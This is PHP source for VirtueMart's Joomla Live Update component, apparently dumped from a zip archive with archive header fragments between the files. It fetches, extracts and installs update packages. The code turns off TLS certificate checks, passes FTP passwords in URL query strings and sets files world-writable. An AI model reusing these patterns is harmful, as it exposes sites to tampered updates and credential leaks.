defined('_JEXEC') or die(); jimport('joomla.application.component.controller'); /** * The Live Update MVC controller */ class LiveUpdateController extends JController { private $jversion = '15'; /** * Object contructor * @param array $config * * @return LiveUpdateController */ public function __construct($config = array()) { parent::__construct(); // Do we have Joomla! 1.6? if( version_compare( JVERSION, '1.6.0', 'ge' ) ) { $this->jversion = '16'; } $basePath = dirname(__FILE__); if($this->jversion == '15') { $this->_basePath = $basePath; } else { $this->basePath = $basePath; } $this->registerDefaultTask('overview'); } /** * Runs the overview page task */ public function overview() { $this->display(); } /** * Starts the update procedure. If the FTP credentials are required, it asks for them. */ public function startupdate() { $ftp = $this->setCredentialsFromRequest('ftp'); if($ftp === true) { // The user needs to supply the FTP credentials $this->display(); } else { // No FTP credentials required; proceed with the download $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); $this->redirect(); } } /** * Download the update package */ public function download() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->download(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_DOWNLOAD_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Download successful. Let's extract the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=extract'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } $this->setRedirect($url); } $this->redirect(); } public function extract() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->extract(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_EXTRACT_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Extract successful. Let's install the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=install'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } // Do we have SRP installed yet? $app = JFactory::getApplication(); $jResponse = $app->triggerEvent('onSRPEnabled'); $status = false; if(!empty($jResponse)) { $status = false; foreach($jResponse as $response) { $status = $status || $response; } } // SRP enabled, use it if($status) { $return = $url; $url = $model->getSRPURL($return); if(!$url) { $url = $return; } } $this->setRedirect($url); } $this->redirect(); } public function install() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->install(); if(!$result) { // Installation failed $model->cleanup(); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview'); $this->redirect(); } else { // Installation successful. Show the installation message. if(version_compare(JVERSION,'1.6.0','ge')) { $cache = JFactory::getCache('mod_menu'); $cache->clean(); } $this->display(); } } public function cleanup() { // Perform the cleanup $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $model->cleanup(); // Force reload update information $dummy = LiveUpdate::getUpdateInformation(true); die('OK'); } /** * Displays the current view * @param bool $cachable Ignored! */ public final function display($cachable = false) { $viewLayout = JRequest::getCmd( 'layout', 'default' ); $view = $this->getThisView(); // Get/Create the model $model = $this->getThisModel(); $view->setModel($model, true); // Assign the FTP credentials from the request, or return TRUE if they are required jimport('joomla.client.helper'); $ftp = $this->setCredentialsFromRequest('ftp'); $view->assignRef('ftp', $ftp); // Set the layout $view->setLayout($viewLayout); // Display the view $view->display(); } public final function getThisView() { static $view = null; if(is_null($view)) { $basePath = ($this->jversion == '15') ? $this->_basePath : $this->basePath; $tPath = dirname(__FILE__).'/tmpl'; require_once('view.php'); $view = new LiveUpdateView(array('base_path'=>$basePath, 'template_path'=>$tPath)); } return $view; } public final function getThisModel() { static $model = null; if(is_null($model)) { require_once('model.php'); $model = new LiveUpdateModel(); $task = ($this->jversion == '15') ? $this->_task : $this->task; $model->setState( 'task', $task ); $app = JFactory::getApplication(); $menu = $app->getMenu(); if (is_object( $menu )) { if ($item = $menu->getActive()) { $params =& $menu->getParams($item->id); // Set Default State Data $model->setState( 'parameters.menu', $params ); } } } return $model; } private function setCredentialsFromRequest($client) { // Determine wether FTP credentials have been passed along with the current request jimport('joomla.client.helper'); $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if ($user != '' && $pass != '') { // Add credentials to the session if (JClientHelper::setCredentials($client, $user, $pass)) { $return = false; } else { $return =& JError::raiseWarning('SOME_ERROR_CODE', 'JClientHelper::setCredentialsFromRequest failed'); } } else { // Just determine if the FTP input fields need to be shown $return = !JClientHelper::hasCredentials('ftp'); } return $return; } }PK@y>\_1_ 5components/com_virtuemart/liveupdate/classes/view.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.view'); /** * The Live Update MVC view */ class LiveUpdateView extends JView { public function display($tpl = null) { // Load the CSS $config = LiveUpdateConfig::getInstance(); $this->assign('config', $config); if(!$config->addMedia()) { // No custom CSS overrides were set; include our own $document = JFactory::getDocument(); $url = JURI::base().'/components/'.JRequest::getCmd('option','').'/liveupdate/assets/liveupdate.css'; $document->addStyleSheet($url, 'text/css'); } $requeryURL = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&force=1'; $this->assign('requeryURL', $requeryURL); $extInfo = (object)$config->getExtensionInformation(); JToolBarHelper::title($extInfo->title.' – '.JText::_('LIVEUPDATE_TASK_OVERVIEW'),'liveupdate'); if(version_compare(JVERSION,'1.6.0','ge')) { $msg = 'JTOOLBAR_BACK'; } else { $msg = 'Back'; } JToolBarHelper::back($msg, 'index.php?option='.JRequest::getCmd('option','')); switch(JRequest::getCmd('task','default')) { case 'startupdate': $this->setLayout('startupdate'); $this->assign('url','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); break; case 'install': $this->setLayout('install'); // Get data from the model $state = &$this->get('State'); // Are there messages to display ? $showMessage = false; if ( is_object($state) ) { $message1 = $state->get('message'); $message2 = $state->get('extension.message'); $showMessage = ( $message1 || $message2 ); } $this->assign('showMessage', $showMessage); $this->assignRef('state', $state); break; case 'overview': default: $this->setLayout('overview'); $force = JRequest::getInt('force',0); $this->assign('updateInfo', LiveUpdate::getUpdateInformation($force)); $this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate'); $needsAuth = !($config->getAuthorization()) && ($config->requiresAuthorization()); $this->assign('needsAuth', $needsAuth); break; } parent::display($tpl); } }PK@y>\=ee6components/com_virtuemart/liveupdate/classes/model.phpnuW+A */ defined('_JEXEC') or die(); if(!class_exists('JModel')) require JPATH_VM_LIBRARIES.DS.'joomla'.DS.'application'.DS.'component'.DS.'model.php'; /** * The Live Update MVC model */ class LiveUpdateModel extends JModel { public function download() { // Get the path to Joomla!'s temporary directory $jreg =JFactory::getConfig(); $tmpdir = $jreg->getValue('config.tmp_path'); jimport('joomla.filesystem.folder'); // Make sure the user doesn't use the system-wide tmp directory. You know, the one that's // being erased periodically and will cause a real mess while installing extensions (Grrr!) if(realpath($tmpdir) == '/tmp') { // Someone inform the user that what he's doing is insecure and stupid, please. In the // meantime, I will fix what is broken. $tmpdir = JPATH_SITE.DS.'tmp'; } // Make sure that folder exists (users do stupid things too often; you'd be surprised) elseif(!JFolder::exists($tmpdir)) { // Darn it, user! WTF where you thinking? OK, let's use a directory I know it's there... $tmpdir = JPATH_SITE.DS.'tmp'; } // Oki. Let's get the URL of the package $updateInfo = LiveUpdate::getUpdateInformation(); $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $url = $updateInfo->downloadURL; // Sniff the package type. If sniffing is impossible, I'll assume a ZIP package $basename = basename($url); if(strstr($basename,'?')) { $basename = substr($basename, strstr($basename,'?')+1); } if(substr($basename,-4) == '.zip') { $type = 'zip'; } elseif(substr($basename,-4) == '.tar') { $type = 'tar'; } elseif(substr($basename,-4) == '.tgz') { $type = 'tar.gz'; } elseif(substr($basename,-7) == '.tar.gz') { $type = 'tar.gz'; } else { $type = 'zip'; } // Cache the path to the package file and the temp installation directory in the session $target = $tmpdir.DS.$updateInfo->extInfo->name.'.update.'.$type; $tempdir = $tmpdir.DS.$updateInfo->extInfo->name.'_update'; $session = JFactory::getSession(); $session->set('target', $target, 'liveupdate'); $session->set('tempdir', $tempdir, 'liveupdate'); // Let's download! require_once dirname(__FILE__).'/download.php'; return LiveUpdateDownloadHelper::download($url, $target); } public function extract() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.filesystem.archive'); return JArchive::extract( $target, $tempdir); } public function install() { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); $installer =& JInstaller::getInstance(); $packageType = JInstallerHelper::detectType($tempdir); if(!$packageType) { $msg = JText::_('LIVEUPDATE_INVALID_PACKAGE_TYPE'); $result = false; } elseif (!$installer->install($tempdir)) { // There was an error installing the package $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Error')); $result = false; } else { // Package installed sucessfully $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Success')); $result = true; } $app = JFactory::getApplication(); $app->enqueueMessage($msg); $this->setState('result', $result); $this->setState('packageType', $packageType); if($packageType) { $this->setState('name', $installer->get('name')); $this->setState('message', $installer->message); if(version_compare(JVERSION,'1.6.0','ge')) { $this->setState('extmessage', $installer->get('extension_message')); } else { $this->setState('extmessage', $installer->get('extension.message')); } } return $result; } public function cleanup() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.helper'); JInstallerHelper::cleanupInstall($target, $tempdir); $session->clear('target','liveupdate'); $session->clear('tempdir','liveupdate'); } public function getSRPURL($return = '') { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); jimport('joomla.filesystem.file'); $instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; if(!JFile::exists($instModelFile)) return false; require_once JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; $model = JModel::getInstance('Installer', 'AkeebaModel'); $packageType = JInstallerHelper::detectType($tempdir); $name = $model->getExtensionName($tempdir); $url = 'index.php?option=com_akeeba&view=backup&tag=restorepoint&type='.$packageType.'&name='.urlencode($name['name']); switch($type) { case 'module': case 'template': $url .= '&group='.$name['client']; break; case 'plugin': $url .= '&group='.$name['group']; break; } if(!empty($return)) $url .= '&returnurl='.urlencode($return); return $url; } }PK@y>\w8lff?components/com_virtuemart/liveupdate/classes/abstractconfig.phpnuW+A */ defined('_JEXEC') or die(); /** * This is the base class inherited by the config.php file in LiveUpdate's root. * You may override it non-final members to customise its behaviour. * @author Nicholas K. Dionysopoulos * */ abstract class LiveUpdateAbstractConfig extends JObject { /** @var string The extension name, e.g. com_foobar, plg_foobar, mod_foobar, tpl_foobar etc */ protected $_extensionName = 'com_foobar'; /** @var string The human-readable name of your extension */ protected $_extensionTitle = 'Foobar Component for Joomla!'; /** * The filename of the XML manifest of your extension. Leave blank to use extensionname.xml. For example, * if the extension is com_foobar, it will look for com_foobar.xml and foobar.xml in the component's * directory. * @var string * */ protected $_xmlFilename = ''; /** @var string The information storage adapter to use. Can be 'file' or 'component' */ protected $_storageAdapter = 'file'; /** @var array The configuration options for the storage adapter used */ protected $_storageConfig = array('path' => JPATH_CACHE); /** * How to determine if a new version is available. 'different' = if the version number is different, * the remote version is newer, 'vcompare' = use version compare between the two versions, 'newest' = * compare the release dates to find the newest. I suggest using 'different' on most cases. * @var string */ protected $_versionStrategy = 'different'; /** @var The current version of your extension. Populated automatically from the XML manifest. */ protected $_currentVersion = ''; /** @var The current release date of your extension. Populated automatically from the XML manifest. */ protected $_currentReleaseDate = ''; /** @var string The URL to the INI update stream of this extension */ protected $_updateURL = ''; /** @var bool Does the download URL require authorization to download the package? */ protected $_requiresAuthorization = false; /** @var string The username to authorize a download on your site */ protected $_username = ''; /** @var string The password to authorize a download on your site */ protected $_password = ''; /** @var string The Download ID to authorize a download on your site; use it instead of the username/password pair */ protected $_downloadID = ''; /** @var string The path to a local copy of cacert.pem, required if you plan on using HTTPS URLs to fetch live udpate information or download files from */ protected $_cacerts = null; /** @var string The minimum stability level to report as available update. One of alpha, beta, rc and stable. */ protected $_minStability = 'alpha'; /** * Singleton implementation * @return LiveUpdateConfig An instance of the Live Update configuration class */ public static function &getInstance() { static $instance = null; if(!is_object($instance)) { $instance = new LiveUpdateConfig(); } return $instance; } /** * Public constructor. It populates all extension-specific fields. Override to your liking if necessary. */ public function __construct() { parent::__construct(); $this->populateExtensionInfo(); $this->populateAuthorization(); } /** * Returns the URL to the update INI stream. By default it returns the value to * the protected $_updateURL property of the class. Override with your implementation * if you want to modify its logic. */ public function getUpdateURL() { return $this->_updateURL; } /** * Override this ethod to load customized CSS and media files instead of the stock * CSS and media provided by Live Update. If you override this class it MUST return * true, otherwise LiveUpdate's CSS will be loaded after yours and will override your * settings. * * @return bool Return true to stop Live Update from loading its own CSS files. */ public function addMedia() { return false; } /** * Gets the authorization string to append to the download URL. It returns either the * download ID or username/password pair. Please override the class constructor, not * this method, if you want to fetch these values. */ public final function getAuthorization() { if(!empty($this->_downloadID)) { return "dlid=".urlencode($this->_downloadID); } if(!empty($this->_username) && !empty($this->_password)) { return "username=".urlencode($this->_username)."&password=".urlencode($this->_password); } return ""; } public final function requiresAuthorization() { return $this->_requiresAuthorization; } /** * Returns all the information we have about the extension and its update preferences * @return array The extension information */ public final function getExtensionInformation() { return array( 'name' => $this->_extensionName, 'title' => $this->_extensionTitle, 'version' => $this->_currentVersion, 'date' => $this->_currentReleaseDate, 'updateurl' => $this->_updateURL, 'requireauth' => $this->_requiresAuthorization ); } /** * Returns the information regarding the storage adapter * @return array */ public final function getStorageAdapterPreferences() { $config = $this->_storageConfig; $config['extensionName'] = $this->_extensionName; return array( 'adapter' => $this->_storageAdapter, 'config' => $config ); } public final function getVersionStrategy() { return $this->_versionStrategy; } /** * Get the current version from the XML manifest of the extension and * populate the class' properties. */ private function populateExtensionInfo() { require_once dirname(__FILE__).'/xmlslurp.php'; $xmlslurp = new LiveUpdateXMLSlurp(); $data = $xmlslurp->getInfo($this->_extensionName, $this->_xmlFilename); if(empty($this->_currentVersion)) $this->_currentVersion = $data['version']; if(empty($this->_currentReleaseDate)) $this->_currentReleaseDate = $data['date']; } /** * Fetch username/password and Download ID from the component's configuration. */ private function populateAuthorization() { if(!$this->_requiresAuthorization) return; if(substr($this->_extensionName,0,3) != 'com') return; jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent($this->_extensionName); $params = new JParameter($component->params); $this->_username = $params->getValue('username',''); $this->_password = $params->getValue('password',''); $this->_downloadID = $params->getValue('downloadid',''); } public function applyCACert(&$ch) { if(!empty($this->_cacerts)) { if(file_exists($this->_cacerts)) { @curl_setopt($ch, CURLOPT_CAINFO, $this->_cacerts); } } } public function getMinimumStability() { return $this->_minStability; } }PK@y>\1k+϶!!9components/com_virtuemart/liveupdate/classes/download.phpnuW+A */ defined('_JEXEC') or die(); /** * Allows downloading packages over the web to your server */ class LiveUpdateDownloadHelper { /** * Downloads from a URL and saves the result as a local file * @param $url * @param $target * @return bool True on success */ public static function download($url, $target) { // Import Joomla! libraries jimport('joomla.filesystem.file'); /** @var bool Did we try to force permissions? */ $hackPermissions = false; // Make sure the target does not exist if(JFile::exists($target)) { if(!@unlink($target)) { JFile::delete($target); } } // Try to open the output file for writing $fp = @fopen($target, 'wb'); if($fp === false) { // The file can not be opened for writing. Let's try a hack. if( JFile::write($target, '') ) { if( self::chmod($target, 511) ) { $fp = @fopen($target, 'wb'); $hackPermissions = true; } } } $result = false; if($fp !== false) { // First try to download directly to file if $fp !== false $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, $fp); // Check if we have a download if($result === true) { // The download is complete, close the file pointer @fclose($fp); // If the filesize is not at least 1 byte, we consider it failed. clearstatcache(); $filesize = @filesize($target); if($filesize <= 0) { $result = false; $fp = @fopen($target, 'wb'); } } } // If we have no download, close the file pointer if($result === false) { @fclose($fp); } } if($result === false) { // Delete the target file if it exists if(file_exists($target)) { if( !@unlink($target) ) { JFile::delete($target); } } // Download and write using JFile::write(); $result = JFile::write($target, self::downloadAndReturn($url) ); } return $result; } /** * Downloads from a URL and returns the result as a string * @param $url * @return mixed Result string on success, false on failure */ public static function downloadAndReturn($url) { $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, null); } return $result; } /** * Does the server support PHP's cURL extension? * @return bool True if it is supported */ private static function hasCURL() { static $result = null; if(is_null($result)) { $result = function_exists('curl_init'); } return $result; } /** * Downloads the contents of a URL and writes them to disk (if $fp is not null) * or returns them as a string (if $fp is null) * @param string $url The URL to download from * @param resource $fp The file pointer to download to. Omit to return the contents. * @return bool|string False on failure, true on success ($fp not null) or the URL contents (if $fp is null) */ private static function &getCURL($url, $fp = null, $nofollow = false) { $result = false; $ch = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($ch); if( !@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1) && !$nofollow ) { // Safe Mode is enabled. We have to fetch the headers and // parse any redirections present in there. curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Get the headers $data = curl_exec($ch); curl_close($ch); // Init $newURL = $url; // Parse the headers $lines = explode("\n", $data); foreach($lines as $line) { if(substr($line, 0, 9) == "Location:") { $newURL = trim(substr($line,9)); } } // Download from the new URL if($url != $newURL) { return self::getCURL($newURL, $fp); } else { return self::getCURL($newURL, $fp, true); } } else { @curl_setopt($ch, CURLOPT_MAXREDIRS, 20); } curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Pretend we are IE7, so that webservers play nice with us curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); if(is_resource($fp)) { curl_setopt($ch, CURLOPT_FILE, $fp); } $result = curl_exec($ch); curl_close($ch); return $result; } /** * Does the server support URL fopen() wrappers? * @return bool */ private static function hasFOPEN() { static $result = null; if(is_null($result)) { // If we are not allowed to use ini_get, we assume that URL fopen is // disabled. if(!function_exists('ini_get')) { $result = false; } else { $result = ini_get('allow_url_fopen'); } } return $result; } private static function &getFOPEN($url, $fp = null) { $result = false; // Track errors if( function_exists('ini_set') ) { $track_errors = ini_set('track_errors',true); } // Open the URL for reading if(function_exists('stream_context_create')) { // PHP 5+ way (best) $httpopts = Array('user_agent'=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); $context = stream_context_create( array( 'http' => $httpopts ) ); $ih = @fopen($url, 'r', false, $context); } else { // PHP 4 way (actually, it's just a fallback as we can't run Admin Tools in PHP4) if( function_exists('ini_set') ) { ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); } $ih = @fopen($url, 'r'); } // If fopen() fails, abort if( !is_resource($ih) ) { return $result; } // Try to download $bytes = 0; $result = true; $return = ''; while (!feof($ih) && $result) { $contents = fread($ih, 4096); if ($contents === false) { @fclose($ih); $result = false; return $result; } else { $bytes += strlen($contents); if(is_resource($fp)) { $result = @fwrite($fp, $contents); } else { $return .= $contents; unset($contents); } } } @fclose($ih); if(is_resource($fp)) { return $result; } elseif( $result === true ) { return $return; } else { return $result; } } /** * Detect and return available download adapters * @return array */ private static function getAdapters() { // Detect available adapters $adapters = array(); if(self::hasCURL()) $adapters[] = 'curl'; if(self::hasFOPEN()) $adapters[] = 'fopen'; return $adapters; } /** * Change the permissions of a file, optionally using FTP * @param string $file Absolute path to file * @param int $mode Permissions, e.g. 0755 */ private static function chmod($path, $mode) { if(is_string($mode)) { $mode = octdec($mode); if( ($mode < 0600) || ($mode > 0777) ) $mode = 0755; } // Initialize variables jimport('joomla.client.helper'); $ftpOptions = JClientHelper::getCredentials('ftp'); // Check to make sure the path valid and clean $path = JPath::clean($path); if ($ftpOptions['enabled'] == 1) { // Connect the FTP client jimport('joomla.client.ftp'); $ftp = &JFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], null, $ftpOptions['user'], $ftpOptions['pass'] ); } if(@chmod($path, $mode)) { $ret = true; } elseif ($ftpOptions['enabled'] == 1) { // Translate path and delete jimport('joomla.client.ftp'); $path = JPath::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/'); // FTP connector throws an error $ret = $ftp->chmod($path, $mode); } else { return false; } } }PK@y>\7components/com_virtuemart/liveupdate/classes/index.htmlnuW+APK@y>\?$$<components/com_virtuemart/liveupdate/classes/updatefetch.phpnuW+A */ defined('_JEXEC') or die(); /** * Fetches the update information from the server or the cache, depending on * whether the cache is fresh or not. */ class LiveUpdateFetch extends JObject { private $cacheTTL = 24; private $storage = null; /** * One-stop-shop function which fetches update information and tells you * if there are updates available or not, or if updates are not supported. * * @return int 0 = no updates, 1 = updates available, -1 = updates not supported, -2 = fetching updates crashes the server */ public function hasUpdates() { $updateInfo = $this->getUpdateInformation(); if($updateInfo->stuck) return -2; if(!$updateInfo->supported) return -1; $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); // Filter by stability level $minStability = $config->getMinimumStability(); $stability = strtolower($updateInfo->stability); switch($minStability) { case 'alpha': default: // Reports any stability level as an available update break; case 'beta': // Do not report alphas as available updates if(in_array($stability, array('alpha'))) return 0; break; case 'rc': // Do not report alphas and betas as available updates if(in_array($stability, array('alpha','beta'))) return 0; break; case 'stable': // Do not report alphas, betas and rcs as available updates if(in_array($stability, array('alpha','beta','rc'))) return 0; break; } // Use the version strategy to determine the availability of an update switch($config->getVersionStrategy()) { case 'newest': jimport('joomla.utilities.date'); if(empty($extInfo)) { $mine = new JDate('2000-01-01 00:00:00'); } else { $mine = new JDate($extInfo['date']); } $theirs = new JDate($updateInfo->date); return ($theirs->toUnix() > $mine->toUnix()) ? 1 : 0; break; case 'vcompare': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return (version_compare($theirs, $mine, 'gt')) ? 1 : 0; break; case 'different': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return ($theirs != $mine) ? 1 : 0; break; } } /** * Get the latest version (update) information, either from the cache or * from the update server. * * @param $force bool Set to true to force fetching fresh data from the server * * @return stdClass The update information, in object format */ public function getUpdateInformation($force = false) { // Get the Live Update configuration $config = LiveUpdateConfig::getInstance(); // Get an instance of the storage class $storageOptions = $config->getStorageAdapterPreferences(); require_once dirname(__FILE__).'/storage/storage.php'; $this->storage = LiveUpdateStorage::getInstance($storageOptions['adapter'], $storageOptions['config']); $storage = $this->storage; // Fetch information from the cache if(version_compare(JVERSION, '1.6.0', 'ge')) { $registry = $storage->getRegistry(); $lastCheck = $registry->get('lastcheck', 0); $cachedData = $registry->get('updatedata', null); } else { $lastCheck = $storage->get('lastcheck', 0); $cachedData = $storage->get('updatedata', null); } if(is_string($cachedData)) { $cachedData = trim($cachedData,'"'); $cachedData = json_decode($cachedData); } if(empty($cachedData)) { $lastCheck = 0; } // Check if the cache is at most $cacheTTL hours old $now = time(); $maxDifference = $this->cacheTTL * 3600; $difference = abs($now - $lastCheck); if(!($force) && ($difference <= $maxDifference)) { // The cache is fresh enough; return cached data return $cachedData; } else { // The cache is stale; fetch new data, cache it and return it to the caller $data = $this->getUpdateData($force); $this->storage->set('lastcheck', $now); $this->storage->set('updatedata', json_encode($data)); $this->storage->save(); return $data; } } /** * Retrieves the update data from the server, unless previous runs indicate * that the download process gets stuck and ends up in a WSOD. * * @param bool $force Set to true to force fetching new data no matter if the process is marked as stuck * @return stdClass */ private function getUpdateData($force = false) { $ret = array( 'supported' => false, 'stuck' => true, 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '' ); // If the process is marked as "stuck", we won't bother fetching data again; well, // unless you really force me to, by setting $force = true. if($this->storage->get('stuck',0) && !$force) return (object)$ret; $ret['stuck'] = false; require_once dirname(__FILE__).'/download.php'; // First we mark Live Updates as getting stuck. This way, if fetching the update // fails with a server error, reloading the page will not result to a White Screen // of Death again. Hey, Joomla! core team, are you listening? Some hosts PRETEND to // support cURL or URL fopen() wrappers but using them throws an immediate WSOD. $this->storage->set('stuck', 1); $this->storage->save(); $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $rawData = LiveUpdateDownloadHelper::downloadAndReturn($url); // Now that we have some data returned, let's unmark the process as being stuck ;) $this->storage->set('stuck', 0); $this->storage->save(); // If we didn't get anything, assume Live Update is not supported (communication error) if(empty($rawData) || ($rawData == false)) return (object)$ret; // TODO Detect the content type of the returned update stream. For now, I will pretend it's an INI file. $data = $this->parseINI($rawData); $ret['supported'] = true; return (object)array_merge($ret, $data); } /** * Fetches update information from the server using cURL * @return string The raw server data */ private function fetchCURL() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $process = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($process); curl_setopt($process, CURLOPT_HEADER, 0); // Pretend we are Firefox, so that webservers play nice with us curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110105 Firefox/3.6.14'); curl_setopt($process, CURLOPT_ENCODING, 'gzip'); curl_setopt($process, CURLOPT_TIMEOUT, 10); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false); // The @ sign allows the next line to fail if open_basedir is set or if safe mode is enabled @curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($process, CURLOPT_MAXREDIRS, 20); $inidata = curl_exec($process); curl_close($process); return $inidata; } /** * Fetches update information from the server using file_get_contents, which internally * uses URL fopen() wrappers. * @return string The raw server data */ private function fetchFOPEN() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; return @file_get_contents($urls); } /** * Parses the raw INI data into an array of update information * @param string $rawData The raw INI data * @return array The parsed data */ private function parseINI($rawData) { $ret = array( 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '' ); // Get the magic string $magicPos = strpos($rawData, '; Live Update provision file'); if($magicPos === false) { // That's not an INI file :( return $ret; } if($magicPos !== 0) { $rawData = substr($rawData, $magicPos); } require_once dirname(__FILE__).'/inihelper.php'; $iniData = LiveUpdateINIHelper::parse_ini_file($rawData, false, true); $ret['version'] = $iniData['version']; $ret['date'] = $iniData['date']; $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $glue = strpos($iniData['link'],'?') === false ? '?' : '&'; $ret['downloadURL'] = $iniData['link'] . (empty($auth) ? '' : $glue.$auth); if(array_key_exists('stability', $iniData)) { $stability = $iniData['stability']; } else { // Stability not defined; guesswork mode enabled $version = $ret['version']; if( preg_match('#^[0-9\.]*a[0-9\.]*#', $version) == 1 ) { $stability = 'alpha'; } elseif( preg_match('#^[0-9\.]*b[0-9\.]*#', $version) == 1 ) { $stability = 'beta'; } elseif( preg_match('#^[0-9\.]*rc[0-9\.]*#', $version) == 1 ) { $stability = 'rc'; } elseif( preg_match('#^[0-9\.]*$#', $version) == 1 ) { $stability = 'stable'; } else { $stability = 'svn'; } } $ret['stability'] = $stability; return $ret; } }PK@y>\)6components/com_virtuemart/liveupdate/classes/.htaccessnuW+A Order allow,deny Deny from all PK@y>\/components/com_virtuemart/liveupdate/index.htmlnuW+APK@y>\6/components/com_virtuemart/liveupdate/config.phpnuW+A */ defined('_JEXEC') or die(); /** * Configuration class for your extension's updates. Override to your liking. */ class LiveUpdateConfig extends LiveUpdateAbstractConfig { var $_extensionName = 'com_virtuemart'; var $_extensionTitle = 'Virtuemart 2'; var $_updateURL = 